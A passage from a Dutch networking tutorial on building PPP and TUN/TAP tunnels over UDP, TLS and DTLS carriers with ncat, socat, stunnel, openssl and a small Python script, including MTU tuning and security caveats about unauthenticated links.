TCP garandeert aflevering, dus een verloren segment wordt opnieuw verstuurd en de bytes komen laat aan in plaats van helemaal niet. De getunnelde TCP erbinnen ziet alleen de vertraging, besluit dat het netwerk vol zit, trekt zich terug en verstuurt dezelfde data opnieuw — die de drager er nu ook nog bij moet afleveren. De timer van elke laag probeert een probleem op te lossen dat de andere laag al bezit, en de wachtrij groeit sneller dan een van beide hem kan leegmaken. Een UDP-drager laat het pakket vallen, de binnenste TCP ziet echt verlies, en zijn congestieregeling doet het werk waar hij voor gemaakt is. Zo ziet het eruit. Beide TCP\u0026rsquo;s zetten een retransmissietimer op basis van hun rondereistijd. Verliest de drager een segment, dan verstuurt hij opnieuw, dus de data van de binnenste verbinding komt laat aan. En de binnenste TCP, die de drager niet kan zien, leest laat als congestie en verstuurt ook opnieuw. Nu heeft de drager het origineel en een duplicaat af te leveren over een lijn die al pakketten kwijtraakt. De binnenste timer verdubbelt, de buitenste wachtrij groeit, en de doorvoer stort in ver voordat de lijn dat doet. Niets in de logs zegt waarom.\nDit is geen subtiel efficiëntiepuntje. Het is het verschil tussen een tunnel die netjes terugvalt en een die bij misschien 2% verlies geen verkeer meer doorlaat terwijl ping over hetzelfde pad er nog prima uitziet — de reden om UDP te nemen, en TCP alleen achter de hand te houden voor een pad dat niets anders doorlaat.\nNeem dus UDP — als standaard, niet als voorkeur.\nFase Twee: De UDP-bouw, Het Fundament Dezelfde pppd, een andere drager. Het enige dat verandert is het pty-commando.\nLuisterend eind:\npppd nodetach noauth local passive \\ nodefaultroute noipdefault \\ 192.0.2.1:192.0.2.2 \\ lcp-echo-interval 10 lcp-echo-failure 3 \\ mtu 1400 mru 1400 \\ pty \u0026#39;ncat --udp --listen 198.51.100.10 443\u0026#39; Verbindend eind:\npppd nodetach noauth local \\ nodefaultroute noipdefault \\ 192.0.2.2:192.0.2.1 \\ lcp-echo-interval 10 lcp-echo-failure 3 \\ mtu 1400 mru 1400 \\ pty \u0026#39;ncat --udp 198.51.100.10 443\u0026#39; Twee dingen aan een UDP-listener die je te grazen nemen, en geen van beide is een PPP-probleem.\nDe listener kan niet antwoorden tot er tegen hem gesproken is. Een UDP-socket heeft geen verbinding om te accepteren, dus netcat kan niet weten waarheen het moet antwoorden tot er een datagram binnenkomt. Het klikt vast op het eerste bronadres en de eerste bronpoort die het hoort en praat daartegen. Dat betekent dat het verbindende eind eerst moet zenden — wat pppd uit zichzelf doet, want het niet-passieve eind begint meteen LCP-configure-requests af te vuren. Het betekent ook dat als de bronpoort van de client verandert, de drager stilletjes tegen de verkeerde plek praat. Achter NAT met een korte UDP-timeout is dat een tunnel die om de paar minuten sterft zonder zichtbare reden.\n--keep-open doet op UDP niet wat je wilt. Ncat\u0026rsquo;s -k houdt een TCP-listener accepterend nadat een peer weggaat. Op UDP valt er niets te accepteren, dus herstel betekent de drager herstarten — waar persist en holdoff verderop voor zijn.\nAllebei zijn het argumenten voor socat, dat zorgvuldiger met UDP-peers omgaat, en voor een supervisor in plaats van erop vertrouwen dat het blijft draaien.\nWaarom PPP Een Verloren Datagram Overleeft Het voor de hand liggende bezwaar tegen een UDP-drager is dat PPP een bytestream verwacht en UDP dat niet is: datagrammen komen heel aan of helemaal niet, en kunnen in de verkeerde volgorde aankomen. Het werkt toch, dankzij twee bytes die de framing altijd al meedroeg.\nEen verloren datagram kost een frame, en de volgende vlagbyte haalt de link terug De grenzen vallen niet samen, en dat maakt niet uit PPP-FRAMES ZOALS pppd ZE SCHREEF 7E frame A + FCS 7E frame B + FCS 7E frame C + FCS 7E frame D + FCS WAT DE DRAGER ECHT VERSTUURDE — netcat leest een buffer, geen frame datagram 1 datagram 2 — kwijt datagram 3 datagram 4 Frame B verliest zijn midden, dus de checksum faalt en het wordt weggegooid. Frame C verliest zijn eerste bytes en gaat dezelfde weg. Twee verloren frames zijn twee verloren IP-pakketten. De laag erboven verstuurt ze opnieuw, en doet dat wetend dat het pad iets kwijtraakte — precies het signaal dat een TCP-drager verborgen zou hebben door ze in plaats daarvan laat af te leveren. Netcat leest wat er in de buffer zit en schrijft het in een datagram, dus framegrenzen en datagramgrenzen hebben niets met elkaar te maken. Raak een datagram kwijt en de ontvanger ziet een frame waarvan bytes ontbreken: de frame check sequence faalt en het frame wordt weggegooid, precies zoals op een ruisende seriële lijn. De volgende 0x7E synchroniseert de stream opnieuw. Eén weggegooid frame kost één pakket, en de laag erboven verstuurt het opnieuw — dat is het verliessignaal dat de binnenste TCP nodig had en over een TCP-drager nooit kreeg. PPP over asynchroon HDLC is ontworpen voor een lijn die bytes verminkt. Elk frame draagt een 16-bits frame check sequence; een frame dat daarop faalt wordt weggegooid, en de volgende vlagbyte synchroniseert de ontvanger opnieuw. Herordening is zeldzamer dan verlies en levert dezelfde uitkomst op: een foute FCS, een weggegooid frame, een hersynchronisatie.\nEen verloren datagram kost dus één PPP-frame — één IP-pakket, de normale toestand van elk netwerk dat ooit gebouwd is. De eigenaar van het pakket verstuurt opnieuw, en de congestieregeling ziet echt verlies en reageert correct. Dat is het hele argument voor UDP: het laat het verkeer binnen de tunnel de waarheid over het pad ontdekken.\nLaat frames wel niet zo groot worden dat de drager ze moet fragmenteren. Eén verloren fragment maakt dan het hele datagram kapot en je effectieve verliespercentage vermenigvuldigt zich. Houd de PPP-MTU ruim onder de pad-MTU.\nAdressen, Routes, En IPv6 Fatsoenlijk Doen ppp0 is een punt-tot-punt-interface — geen subnet, geen ARP — dus lokaal:extern is de hele adressering en je routeert er expliciet overheen. Voor één host die een netwerk achter het verre eind wil bereiken:\n# op de client, nadat de link op is ip route add 203.0.113.0/24 via 192.0.2.1 dev ppp0 Wil het verre eind namens de client doorsturen, dan de gebruikelijke twee stappen:\nsysctl -w net.ipv4.ip_forward=1 nft add rule inet nat postrouting oifname \u0026#34;eth0\u0026#34; ip saddr 192.0.2.2/32 masquerade proxyarp laat de server op zijn eigen segment ARP beantwoorden namens de client4, wat aardig is tot een tweede client hetzelfde wil. Doe dan het deel dat de meesten overslaan. Draai er IPv6 overheen — een punt-tot-punt-link zonder NAT, zonder broadcastdomein en zonder adresschaarste is de makkelijkste plek in je netwerk om IPv6 fatsoenlijk te doen:\npppd nodetach noauth local \\ +ipv6 ipv6 ::1,::2 \\ nodefaultroute noipdefault \\ 192.0.2.2:192.0.2.1 \\ pty \u0026#39;ncat --udp 198.51.100.10 443\u0026#39; +ipv6 zet IPV6CP aan; ipv6 \u0026lt;lokaal\u0026gt;,\u0026lt;extern\u0026gt; zet de twee 64-bits interface-identifiers4, de link komt link-local op, en je zet er een globaal /64 bovenop7. IPV6CP staat los van IPCP, dus noip draagt niets anders dan IPv6 — een redelijk ding om in 2026 te bouwen, in één woord.\nHem Overeind Houden Als De Drager Stil Sterft Dit is de storing die een middag opeet, dus die krijgt een eigen sectie.\nEen TCP-drager die lelijk sterft — het verre eind uitgezet, een NAT-tabelregel verlopen, een middlebox die stopte met doorsturen — sluit niet af. Er is geen FIN, geen RST, niets. Netcat zit daar met een socket die nooit meer een byte zal afleveren, pppd zit daar met een pty die nooit meer een frame zal zien, en ip link meldt monter dat ppp0 UP is. Een UDP-drager heeft helemaal geen verbindingstoestand, dus die merkt sowieso nooit iets.\nPPP heeft het antwoord ingebouwd, en het staat standaard uit:\nlcp-echo-interval 10 lcp-echo-failure 3 Dat stuurt elke tien seconden een LCP-echo en breekt de link af nadat er drie onbeantwoord blijven4 — dertig seconden om een dode drager te betrappen, op precies het geval dat de man-pagina noemt, “no hardware modem control lines”4, wat elke pty is die ooit gemaakt is. Beslis daarna wat er daarna gebeurt:\npersist maxfail 0 holdoff 5 Een dode drager binnen dertig seconden betrappen, en opnieuw opbouwen Een drager kan sterven zonder te sluiten. Zo merkt PPP het en komt het terug. Drager sterft stil verre eind uit · NAT-regel weg · middlebox stuurt niet meer door Niets meldt het geen FIN, geen RST · ip link zegt nog ppp0 UP · UDP heeft geen staat De detector lcp-echo-interval 10 lcp-echo-failure 3 echo elke 10s, omlaag na 3 gemiste — 30s De herbouw persist maxfail 0 holdoff 5 herstarten, nooit opgeven, 5s tussen pogingen Eén supervisor systemd-unit, Restart=always, pppd draait het pty-commando opnieuw — verse netcat en socket komen mee Zet de echo aan beide einden. Een echo bewijst alleen het pad waarover het antwoord terugkwam. Zet `ip route` in /etc/ppp/ip-up.d/ en de IPv6-routes in /etc/ppp/ipv6-up.d/, zodat de routering elke keer dat de link terugkomt opnieuw gezet wordt — en niet één keer met de hand gezet en bij de eerste herverbinding kwijt. lcp-echo-interval 10 lcp-echo-failure 3 is de detector: elke tien seconden een echo, link omlaag na drie gemiste. persist maxfail 0 holdoff 5 is de herbouw: herstarten, nooit opgeven, vijf seconden wachten zodat een flapperend pad geen forkbom wordt — en pppd draait het pty-commando opnieuw, dus er komt een verse netcat en socket mee. Zet de echo aan beide einden; één supervisor, een systemd-unit met Restart=always, verslaat twee processen die ruziën. Zet ip route in /etc/ppp/ip-up.d/ zodat de routering met de link terugkomt. Het Heeft Geen Versleuteling En Geen Authenticatie Alles hierboven is een werkende tunnel. Het is geen veilige, en het gat is geen detail.\nEr is geen versleuteling. Geen zwakke versleuteling. Geen. Elk pakket dat je hierdoor stuurt staat in klare taal op de lijn, verpakt in een HDLC-frame dat elk capturegereedschap meteen decodeert. tcpdump laat je de inhoud van iemand anders\u0026rsquo; tunnel net zo makkelijk zien als van die van jezelf.\nEr is geen authenticatie van de peer. noauth zegt dat. Een netcat-listener accepteert wat er ook op de poort binnenkomt: de eerste verbinding of het eerste datagram vanaf waar dan ook. Wie er het eerst is, krijgt een gerouteerde link je netwerk in. PPP kent wel authenticatie (PAP in klare taal, CHAP als challenge-response8), en allebei bewijzen ze wie de peer is terwijl ze geen byte van wat daarna komt versleutelen: CHAP levert je hier een tunnel die weet tegen wie hij praat en de inhoud nog steeds publiceert aan iedereen op het pad.\nEr ís een versleutelingsoptie in de PPP-familie — MPPE9, de module in ppp_mppe.ko. Grijp er niet naar: het is RC4 met een sleutel uit de MS-CHAPv2-uitwisseling, al meer dan tien jaar in het openbaar gebroken, en de reden dat PPTP dood is. Daar in 2026 een nieuwe tunnel op bouwen kiest een bekend gebroken cijfer boven een werkend cijfer dat niets kost.\nDe eerlijke samenvatting tot hier: een gerouteerde link zonder vertrouwelijkheid en zonder toegangscontrole. Prima voor een lab, prima binnen een link die al versleuteld is, nergens anders prima. De oplossing is de drager versleutelen — de komende twee secties, en de reden om ncat te nemen in plaats van welke netcat je distributie ook meestuurde.\nFase Drie: De Drager In TLS Wikkelen Het nette antwoord laat pppd precies zoals het is en vervangt de drager door een die TLS doet. pppd komt er nooit achter dat er iets veranderd is.\nEerst het certificaat. Een zelfondertekend exemplaar is genoeg, zolang de client het verifieert. Een niet-geverifieerde TLS-sessie is een versleuteld gesprek met iemand die je niet geïdentificeerd hebt, en dat houdt niemand tegen:\nopenssl req -x509 -newkey rsa:4096 -days 825 -nodes \\ -keyout tunnel.key -out tunnel.crt \\ -subj \u0026#34;/CN=tunnel.example.net\u0026#34; \\ -addext \u0026#34;subjectAltName=DNS:tunnel.example.net\u0026#34; Ncat Ncat heeft TLS ingebouwd. Het ketent ook door een proxy, --proxy host:poort --proxy-type http|socks4|socks510, zodat de drager bij een relay kan eindigen in plaats van bij het verre eind van de tunnel. Daar draait de egresssectie om. Luisterend eind:\npppd nodetach noauth local passive \\ nodefaultroute noipdefault 192.0.2.1:192.0.2.2 \\ lcp-echo-interval 10 lcp-echo-failure 3 mtu 1400 mru 1400 \\ pty \u0026#39;ncat --listen --keep-open --ssl --ssl-cert tunnel.crt --ssl-key tunnel.key 443\u0026#39; Verbindend eind:\npppd nodetach noauth local \\ nodefaultroute noipdefault 192.0.2.2:192.0.2.1 \\ lcp-echo-interval 10 lcp-echo-failure 3 mtu 1400 mru 1400 \\ pty \u0026#39;ncat --ssl --ssl-verify --ssl-trustfile tunnel.crt tunnel.example.net 443\u0026#39; --ssl-verify is het woord dat ertoe doet. Zonder dat levert --ssl je versleuteling tegen een passieve meeluisteraar en niets tegen wie de poort als eerste beantwoordt; mét dat verifieert Ncat vertrouwen en domeinnaam tegen het trustbestand11. Ncat heeft aan de serverkant echter geen clientcertificaatcontrole, dus de server kan de client niet identificeren. Combineer het met CHAP, of neem een van de volgende twee.\nStunnel De traditionele wikkelaar, en degene die wederzijdse authenticatie netjes doet:\n[ppp] accept = 443 connect = 127.0.0.1:6001 cert = /etc/stunnel/tunnel.crt key = /etc/stunnel/tunnel.key CAfile = /etc/stunnel/clients.crt verify = 2 verify = 2 vereist een clientcertificaat dat ondertekend is door een CA in CAfile — de toegangscontrole die de netcat-bouw nooit had. De client draait stunnel in clientmodus, en het pty-commando van pppd verbindt met de lokale kant in klare taal.\nSocat socat doet het hele ding in één proces per eind, met verificatie standaard aan:\n# luisterend eind pppd ... pty \u0026#39;socat - OPENSSL-LISTEN:443,reuseaddr,cert=tunnel.pem,cafile=clients.crt,verify=1\u0026#39; # verbindend eind pppd ... pty \u0026#39;socat - OPENSSL:tunnel.example.net:443,cafile=tunnel.crt,verify=1\u0026#39; socat staat niet op de machine waarop dit geschreven is, dus dat komt uit de documentatie — controleer je eigen vlaggen. Het is degene waar ik naar zou grijpen, want het is de enige van de vier die ook DTLS spreekt.\nOpenssl, als er niets anders is openssl staat op elke machine die überhaupt TLS heeft, en s_server/s_client dragen een pipe:\n# luisterend eind pppd ... pty \u0026#39;openssl s_server -quiet -accept 443 -cert tunnel.crt -key tunnel.key\u0026#39; # verbindend eind pppd ... pty \u0026#39;openssl s_client -quiet -verify_return_error -CAfile tunnel.crt -connect tunnel.example.net:443\u0026#39; -quiet onderdrukt de banner die anders in je PPP-stream zou landen, en -verify_return_error zorgt dat een verificatiefout de verbinding sluit in plaats van waarschuwt en doorgaat. Dit zijn debuggereedschappen die zich ook zo gedragen, maar op een machine waar je niets kunt installeren krijgen ze een link op.\nKaal, TLS over TCP, of DTLS over UDP Dezelfde linkhelft aan beide einden. Alleen het midden verandert. pppd of tap0 kale netcat, UDP ncat --udp --listen 6000 pppd of tap0 In klare taal op de lijn, en de listener neemt wie het eerst bij de poort is. Geen vertrouwelijkheid, geen toegangscontrole. pppd of tap0 TLS over TCP — ncat, stunnel of openssl ncat --ssl --ssl-verify --ssl-trustfile tunnel.crt host 6000 pppd of tap0 Beschermd, en het certificaat zegt wie het verre eind is. Maar de drager is weer TCP — en het is de enige vorm die stream kan comprimeren. pppd of tap0 DTLS over UDP — socat of openssl socat - OPENSSL-DTLS-CLIENT:host:6000,cafile=tunnel.crt,verify=1 pppd of tap0 Versleuteld, geauthenticeerd, en nog steeds datagrammen. Een verloren pakket blijft verloren in plaats van twee ruziënde stacks. Mik hierop. Overal dezelfde pppd aan beide einden — alleen het pty-commando verandert. Kale netcat geeft je een link waar niets omheen zit. TLS over TCP beschermt de bytes en haalt het probleem van de dragende TCP terug. DTLS over UDP is de vorm om op te mikken: versleuteld, geauthenticeerd, en nog steeds een datagramdrager, zodat een verloren pakket een verloren pakket blijft in plaats van een hertransmissieruzie tussen twee stacks. Fase Vier: DTLS, Want De Drager Hoort Nog Steeds UDP Te Zijn Hier komt het ongemakkelijke deel, en de reden dat deze sectie apart staat. Alle TLS-opties hierboven draaien over TCP, dus de drager in TLS wikkelen maakt het argument voor UDP ongedaan en geeft je de instorting terug. Versleuteling en het juiste transport horen geen afweging te zijn. DTLS is TLS over datagrammen, en dat is wat je wilt: het houdt de bescherming van de recordlaag, laat de garanties voor volgorde en hertransmissie vallen, en laat verloren pakketten verloren, wat precies is wat de frame check sequence van PPP kan opvangen.\nNcat kan het niet. socat en openssl wel:\n# luisterend eind pppd ... pty \u0026#39;socat - OPENSSL-DTLS-LISTEN:443,cert=tunnel.pem,cafile=clients.crt,verify=1\u0026#39; # verbindend eind pppd ... pty \u0026#39;socat - OPENSSL-DTLS-CLIENT:tunnel.example.net:443,cafile=tunnel.crt,verify=1\u0026#39; En met alleen openssl, waar -dtls elke DTLS-versie kiest:\n# luisterend eind pppd ... pty \u0026#39;openssl s_server -quiet -dtls -accept 443 -cert tunnel.crt -key tunnel.key\u0026#39; # verbindend eind pppd ... pty \u0026#39;openssl s_client -quiet -dtls -verify_return_error -CAfile tunnel.crt -connect tunnel.example.net:443\u0026#39; Let op de framegrootte. Een DTLS-record kan niet gefragmenteerd worden zoals een TLS-record zich over een TCP-stream uitsmeert, dus alles moet in één keer binnen de pad-MTU passen.\nDe overheadstapel, en de binnen-MTU die overblijft Reken terug vanaf de pad-MTU en gebruik wat overblijft IP-header20 (v4) / 40 (v6) UDP-header8 DTLS-record + tag≈ 30 PPP-/ethernetframingeen paar binnen-MTU — wat de tunnel kan dragen: mik op 1400, ondergrens 1280 Een DTLS-record kan niet gefragmenteerd worden zoals een TLS-record zich over een TCP-stream uitsmeert, dus dit moet in één keer binnen de pad-MTU passen. Dezelfde vorm als OpenVPN sinds 2001 — een datagramdrager, DTLS, een virtuele interface erbovenop. Niet excentriek; alleen uit elkaar gehaald. Reken terug vanaf 1500: 20 bytes IPv4-header of 40 voor IPv6, 8 voor UDP, ruwweg 30 voor het DTLS-record en zijn tag, een paar voor framing, en de rest is de binnen-MTU die de tunnel kan dragen. Mik op 1400 op een gewoon pad; 1280 is de veilige ondergrens als er onderweg zelf iets een tunnel is. Deze vorm — een datagramdrager, DTLS, een virtuele interface erbovenop — is vrijwel wat OpenVPN sinds 2001 doet. Niet excentriek; alleen uit elkaar gehaald. De PPP-bouw Afstemmen: MTU, Compressie, En Wat Echt Helpt Vier knoppen, allemaal pppd-opties — de tap-bouw in de volgende sectie heeft er geen van, want hij heeft niets van de machinerie die ze instellen.\nVier pppd-knoppen: één te zetten, één te laten, twee uit te zetten Eén te zetten, één te laten, twee uit te zetten ZET HEM MTU en MRU Beide einden, met marge: 1400 kaal, 1280 onder een tunnel. Een gefragmenteerd frame verliest een heel pakket. LAAT HEM ACCM Standaard al nul, en dat is juist op een schone socket. Kom er alleen aan als iets stuurtekens opeet. ZET UIT novj Van Jacobson-headercompressie Bespaart een afrondingsfout op een snelle lijn, kost CPU per pakket en gaat stuk onder verlies. Uit boven modemsnelheid. ZET UIT nodeflate nobsdcomp De payload is al TLS/DTLS — versleutelde tekst comprimeren is pure arbeid, en over een beveiligingsgrens heen een aanval. Geen van deze maakt de tunnel sneller. PPP is niet de bottleneck — PPPoE haalt 2 Gbit op dezelfde daemon, want zijn datapad blijft in de kernel. De kosten zitten hier in de pty: elke byte gaat de userspace in en terug. Dat hoort bij de pseudo-terminal, niet bij PPP. MTU en MRU is degene die ertoe doet: zet ze allebei aan beide einden met marge, want een frame dat de drager moet fragmenteren kost bij elke drop een heel pakket. De ACCM is al nul en correct op een schone socket. Zet Van Jacobson-headercompressie uit met novj boven modemsnelheid. Het bespaart een afrondingsfout, kost CPU per pakket en gaat stuk onder verlies. Zet deflate/bsdcomp uit: de payload is al versleuteld, en comprimeren over een beveiligingsgrens heen is een aanval, geen functie. Niets ervan maakt de tunnel sneller, en de reden doet ertoe, want PPP krijgt er de schuld van en dat hoort niet. PPP is niet de bottleneck. PPPoE draagt 2 Gbit op dezelfde daemon, want zijn datapad verlaat de kernel nooit — ppp_generic en pppoe doen de framing en het doorsturen, en pppd doet alleen het stuurvlak. Wat je hier kost is de pty: elke byte gaat de userspace in, door netcat, een socket in en terug, een rondje dat PPPoE nooit maakt. Dat hoort bij de pseudo-terminal, niet bij PPP.\nWat een goed moment is om naar de andere manier te kijken, waar helemaal geen pty is.\nDe Andere Manier: Een Tap-device, En Helemaal Geen PPP Alles tot hier gebruikte PPP voor de linkhelft. Er is een tweede manier om een virtuele interface te maken, en die heeft helemaal geen protocol nodig.\nDe TUN/TAP-driver van de kernel geeft je een interface en een filedescriptor die aan elkaar vastzitten: schrijf een pakket in de descriptor en het verschijnt op de interface alsof het van een draad kwam; lees en je krijgt een pakket dat de kernel wilde versturen. Dat is de hele interface12, en hij zit al sinds 1999 in Linux.\nip tuntap add dev tap0 mode tap user damien group damien ip link set tap0 mtu 1400 up ip addr add 192.0.2.1/30 dev tap0 Een tap-device is aan het ene eind een interface en aan het andere een filedescriptor Geen daemon, geen protocol, geen pseudo-terminal. Eén filedescriptor. KERNEL tap0 een gewone interface, met een adres en een route /dev/net/tun TUNSETIFF noemt het device dat je krijgt jouw proces socat, of vijftig regels Python die de fd vasthouden UDP-socket één frame per datagram het netwerk en het verre eind één read = één frame Wat er ontbreekt tegenover de PPP-bouw: geen onderhandelde framegrootte, geen levenscheck, geen uitgewisselde adressen, geen authenticatie. Je stelt beide einden met de hand in en ze bespreken er niets van. Niets bewaakt de link, dus niets vertelt je dat hij stierf. Geen daemon en geen protocol. De kernel presenteert tap0 als een gewone interface en geeft de andere kant ervan aan het proces dat /dev/net/tun opende. Eén read levert precies één ethernetframe; één write injecteert er precies één. Alles waar pppd over onderhandelde — adressen, framegroottes, levenscheck — stel je nu aan beide einden met de hand in, en de twee einden bespreken er niets van. Twee details in dat eerste commando zijn meer waard dan ze lijken.\nuser damien maakt het device persistent en onbevoorrecht. Zo aangemaakt overleeft het het proces dat het gebruikt, en een genoemde gebruiker kan het openen zonder root te zijn. Root maakt het device één keer aan; het ding dat frames schept heeft helemaal geen root nodig. Houd die gedachte vast voor de egresssectie.\nmode tun is de andere helft van dezelfde driver, en die is degene die de meesten eigenlijk willen. Tun draagt IP-pakketten. Tap draagt ethernetframes. Het verschil doet genoeg ertoe om hieronder een eigen sectie te krijgen.\nWat je ten opzichte van PPP opgeeft is alles waar PPP over onderhandelt: geen LCP, dus geen afgesproken framegrootte en geen levenscheck, geen IPCP/IPV6CP, dus beide einden met de hand ingesteld, geen authenticatie, geen headercompressie. Een tap-device is een gat in de kernel, en het protocol erdoorheen is wat jij erin stopt. Wat je wint is geen framingoverhead, geen escaping, geen stuurkanaal, en een interface die je kunt bridgen.\nTap Over UDP, Waar Eén Datagram Eén Frame Is Dit is de schoonste afbeelding in het hele stuk, en hij valt uit het ontwerp. Een tap-device is een datagramdevice — één read() levert precies één frame — en een UDP-socket is een datagramsocket, één sendto() per datagram. Een frame gaat dus een datagram in, komt als frame aan, en er valt niets af te bakenen, te bufferen of te hersynchroniseren. Raak een datagram kwijt en je bent één frame kwijt, wat toch al is hoe een gedropt pakket eruitziet.\nMet socat is elk eind één commando:\n# luisterend eind socat TUN:192.0.2.1/30,tun-type=tap,tun-name=tap0,iff-up UDP-LISTEN:443 # verbindend eind socat TUN:192.0.2.2/30,tun-type=tap,tun-name=tap0,iff-up UDP:198.51.100.10:443 socat staat niet op de machine waarop dit geschreven is, dus die twee komen uit de documentatie en niet uit een run hier — controleer de adresnamen van je eigen build voordat je ze vertrouwt. Het is de moeite waard om te hebben: het is het enige gereedschap in dit stuk dat tun, tap, TLS en DTLS in één proces doet.\nWaar je niets kunt installeren is de hele klus zo\u0026rsquo;n vijftig regels zonder afhankelijkheden buiten de standaardbibliotheek. De kern ervan, met IFF_NO_PI dat de header van vier bytes uitzet die de driver er anders voor zou plakken:\nTUNSETIFF, IFF_TAP, IFF_NO_PI = 0x400454CA, 0x0002, 0x1000 # IFF_TUN is 0x0001 def open_tap(name): fd = os.open(\u0026#34;/dev/net/tun\u0026#34;, os.O_RDWR) fcntl.ioctl(fd, TUNSETIFF, struct.pack(\u0026#34;16sH\u0026#34;, name.encode(), IFF_TAP | IFF_NO_PI)) return fd # ... learn the peer from the first datagram (UDP has no accept), then shovel: while True: ready, _, _ = select.select([tap, sock], [], []) if tap in ready and peer: sock.sendto(os.read(tap, MTU), peer) # one read = one frame = one datagram if sock in ready: frame, src = sock.recvfrom(MTU) peer = src # last speaker wins — see the note below if frame: os.write(tap, frame) Het hele bestand — argumentafhandeling, IPv6 via getaddrinfo, het datagram van lengte nul dat een UDP-listener vertelt waar hij moet antwoorden, en de compressie die de volgende sectie toevoegt — zit in de bundel:\n\u0026#8615; tapcat.py — het hele ding, zo\u0026#39;n honderd regels tapcat.py · 6 kB peer = src bij elk datagram is het deel dat je twee keer moet lezen. Wie het laatst een frame stuurde wordt de peer. Handig achter NAT waarvan de bronpoort blijft verspringen, en een open deur op een onvertrouwd netwerk, waar iedereen die één datagram naar de poort kan sturen de tunnel overneemt. Prima binnen een DTLS-sessie, en daar gaat dit naartoe; op zichzelf niet prima. De sockethelft van het script is hier over IPv6-loopback beproefd: de opener komt binnen, de listener leert de peer, een frame steekt over en het antwoord komt terug; de tap-helft heeft root nodig, het ene deel dat ik niet kon draaien.\nOver TCP Moet Je De Framing Zelf Verzinnen Ruil nu de drager om voor TCP en kijk hoe er een heel probleem opduikt dat PPP in 1994 al stilletjes oploste.\nTCP is een bytestream zonder recordgrenzen en zonder belofte over hoe bytes bij aankomst gegroepeerd zijn: twee frames die achter elkaar geschreven worden kunnen in één read aankomen, één frame in drie. De ontvanger houdt een stapel bytes vast zonder idee waar het ene frame ophoudt, en een tap-device accepteert alleen hele frames.\nEén datagram per frame, of een lengteprefix dat je zelf moet verzinnen Eén read van een tap-device is één frame. Dat zo houden is het werk van de drager. OVER UDP — de grens is gratis datagram = frame A datagram = frame B datagram = frame C datagram = frame D Eén read, één datagram, één write aan het verre eind. Niets af te bakenen, niets te bufferen, niets te hersynchroniseren na verlies. OVER TCP — de grenzen zijn weg en je moet ze terugzetten één bytestream — twee frames kunnen in één read aankomen, één frame in drie len frame A len frame B len frame C len frame D Twee bytes big-endian lengte voor elk frame, en een ontvanger die de lengte leest en dan precies zoveel bytes. Het werkt, en het kan niet herstellen. HDLC hersynchroniseert op de volgende 0x7E omdat een vlag ondubbelzinnig is; een stream met lengteprefixen die zijn plek kwijt is leest elke lengte erna uit het midden van een frame. Voeg een marker en een checksum toe en je hebt HDLC nagebouwd. Over UDP is één frame één datagram en komt de grens er gratis bij. Over TCP zijn de grenzen weg, dus de zender moet voor elk frame een lengteprefix zetten en de ontvanger moet daaruit weer samenstellen. PPP heeft dit probleem niet omdat het zijn eigen framing meebrengt — een vlagbyte aan elk eind en een checksum — en dat is ook wat het laat hersynchroniseren na schade. Een stream met lengteprefixen kan dat niet: raak één byte uit de pas en elk frame erna is fout. Over TCP schrijf je dus je eigen framing. Twee bytes big-endian lengte voor elk frame is het gebruikelijke antwoord:\n# sending sock.sendall(struct.pack(\u0026#34;!H\u0026#34;, len(frame)) + frame) # receiving def recv_exactly(sock, n): buf = b\u0026#34;\u0026#34; while len(buf) \u0026lt; n: chunk = sock.recv(n - len(buf)) if not chunk: raise ConnectionError(\u0026#34;carrier closed\u0026#34;) buf += chunk return buf length = struct.unpack(\u0026#34;!H\u0026#34;, recv_exactly(sock, 2))[0] frame = recv_exactly(sock, length) Dat werkt, en het is ronduit slechter dan de UDP-versie. Het is opnieuw het TCP-over-TCP-probleem; het voegt per frame twee bytes en een samenstellus toe; en het kan niet terug van een fout, want een stream met lengteprefixen die zijn plek kwijtraakt leest elke volgende lengte uit het midden van een frame. HDLC hersynchroniseert op de volgende 0x7E; dit kan dat niet, tenzij je HDLC slechter opnieuw uitvindt. Derde argument voor UDP, en het sterkste: over een datagramdrager is er geen framingprobleem, want de drager heeft de enige functie die je nodig had al.\nTun Of Tap: Laag 3, Tenzij Je Echt Laag 2 Nodig Hebt Dezelfde driver geeft je twee devices, en mensen kiezen aan de lopende band de verkeerde omdat een tutorial tap zei.\ntun tap Wat er overgaat IP-pakketten ethernetframes Overhead per pakket geen 14 bytes ethernetheader ARP, DHCP, broadcast nee ja, alles, over de tunnel Niet-IP-protocollen nee ja Kan bij een bridge nee ja Vergelijkbaar met een punt-tot-punt-link, zoals ppp0 een netwerkkabel Tun is een gerouteerde link — zoals de PPP-interface uit de eerste helft: twee adressen, een route, pakketten erin en eruit. Tap is een virtuele ethernetkabel, dus elke broadcast, elke ARP-vraag en alle multicastruis op het segment steekt nu je tunnel over en verstookt bandbreedte.\nVerander één regel in het script om te wisselen:\nIFF_TUN = 0x0001 # instead of IFF_TAP Neem tap als je echt laag 2 nodig hebt. Daar zijn echte redenen voor: een protocol dat geen IP is, een clusterhartslag die broadcasts verwacht te zien, een DHCP-server die clients over de tunnel moet bereiken, of twee segmenten die één moeten worden.\nDat laatste is het gebruikelijke geval en het geval om voorzichtig mee te zijn:\nip link add br0 type bridge ip link set tap0 master br0 ip link set eth1 master br0 ip link set br0 up Nu is het externe segment onderdeel van je lokale — met zijn broadcasts, zijn spanning tree, zijn MAC-gedoe en, als iemand onoplettend was, zijn DHCP-server. Twee locaties bridgen die allebei 192.168.1.0/24 draaien is een slechte middag; een die naar hetzelfde segment terugloopt is een slechte week. Neem standaard tun, grijp naar tap als je het laag 2-ding kunt benoemen dat je nodig hebt, en bridge pas nadat je gekeken hebt wat er aan beide kanten staat te broadcasten.\nDezelfde Wikkelaars, Eén Proces Per Eind De tap-bouw heeft hetzelfde gat als de PPP-bouw: de drager is in klare taal en de listener accepteert wie er het eerst is. De oplossing is dezelfde, en met socat klapt hij samen tot één commando per eind, want het maakt het device aan én sluit de DTLS-sessie af in één proces:\n# luisterend eind socat TUN:192.0.2.1/30,tun-type=tap,tun-name=tap0,iff-up \\ OPENSSL-DTLS-LISTEN:443,cert=tunnel.pem,cafile=clients.crt,verify=1 # verbindend eind socat TUN:192.0.2.2/30,tun-type=tap,tun-name=tap0,iff-up \\ OPENSSL-DTLS-CLIENT:tunnel.example.net:443,cafile=tunnel.crt,verify=1 Dat is de kortste correcte bouw in dit stuk. Een virtuele interface, een datagramdrager, wederzijdse certificaatauthenticatie en versleuteling. Twee commando\u0026rsquo;s. Geen daemon, geen protocolonderhandeling.\nverify=1 is niet optioneel — hetzelfde punt als bij --ssl-verify, en met het peer = src-gedrag hierboven is een niet-geïdentificeerde partij één datagram verwijderd van het bezit van je tunnel. Zit je vast aan het Python-script, bouw er dan geen TLS in: 